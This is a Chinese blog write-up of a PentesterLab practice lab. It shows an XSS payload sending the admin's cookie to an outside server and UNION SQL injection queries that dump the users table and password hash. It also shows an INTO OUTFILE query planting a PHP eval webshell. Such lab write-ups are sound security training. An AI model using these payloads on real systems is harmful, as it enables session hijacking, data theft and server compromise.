XSS and MYSQL FILE

Write up of Pentesterlab’s XSS and MySQL FILE

[TOC]

Pre

与之前一样,导入 iso 后查看 ip 即可

Hacking

Injection and XSS

一开始做了很多工作在 fuzz 注入上,发现主页的post.php?id=2与登录处都不能注入,然后用 xsspt.com 的 xss 平台竟然收不到 cookie … 坑的一批

XSS

由于 xss 平台不知道怎么收不到 cookie ,只能用自己的服务器了,用了文档的 payload

1
<script>document.write('<img src="http://106.14.153.173:2015/?' + document.cookie+'  "/>');</script>

这里强烈建议使用 FireFox + Cookie Manager 来完成,因为感觉这个 session 控制写的不是很好,不带 cookie 访问的话,它会强制重置你的 cookie ,然后就会变成每次都需要 burp 抓包来修改 cookie ,十分麻烦

SQL Injection

进入到管理员界面后,发现在edit.php处存在注入点

1
2
3
4
5
http://172.16.71.149/admin/edit.php?id=1'

mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/classes/post.php on line 111 Notice: Undefined variable: post in /var/www/classes/post.php on line 115

Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19

继续 fuzz ,在1 union select 1,2,3,4%23的时候回显正常,猜测有4列

通过id=1 union select 1,2,@@version,4 limit 1,1%23,得到了在文本编辑框中的版本号,也通过user()发现是root@localhost的权限,想要拿到 shell ,自然先想怎么去写入 webshell

GetShell

查一下secure_file_priv

1
1 union SELECT 1,@@secure_file_priv,2,3 limit 1,1%23

发现为空,那就说明可以为所欲为了

通过

1
1 union SELECT '<?php eval($_POST[zedd]);?>',2,3,4 INTO OUTFILE '/var/www/zedd.php'%23

这里按照之前 Pentestlab 的尿性写的/var/www这个目录,但是一直写不进去,应该是没权限,然后想应该在一些静态文件夹那里应该会有写入的权限,于是写到了 images 文件夹下面。

1
1 union SELECT '<?php eval($_POST[zedd]);?>',2,3,4 INTO OUTFILE '/var/www/images/zedd.php'%23

连上去就得到 webshell 了

Something else

其它一些 sql 操作

1
2
3
4
5
6
7
8
9
10
11
1 union SELECT 1,2,group_concat(schema_name),4 from information_schema.schemata limit 1,1%23
-- information_schema,blog,mysql

1 union SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='blog' limit 1,1%23
-- comments,posts,users

1 union SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' limit 1,1%23
-- id,login,password

1 union SELECT 1,group_concat(login),group_concat(password),4 from users limit 1,1%23
-- admin/8efe310f9ab3efeae8d410a8e0166eb2

反查 md5 得到 admin 的密码是 P4ssw0rd

查看源代码文件可以看到除了find()功能,其他功能都加上了mysql_real_escape_string过滤…

Conclusion

虽然比较简单,但是整体做下来体验不是很好,尤其是 cookie 那里,很恶心…但是也是学会一点技巧吧…还有就是文件路径那里,取巧了一下,因为之前系列 web 目录都是在/var/www目录下,而不是/var/www/html下。XSS 最好还是先用自己的服务器收 cookie …平台并不是完全可靠

命令执行到提权 Web For Pentest II

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×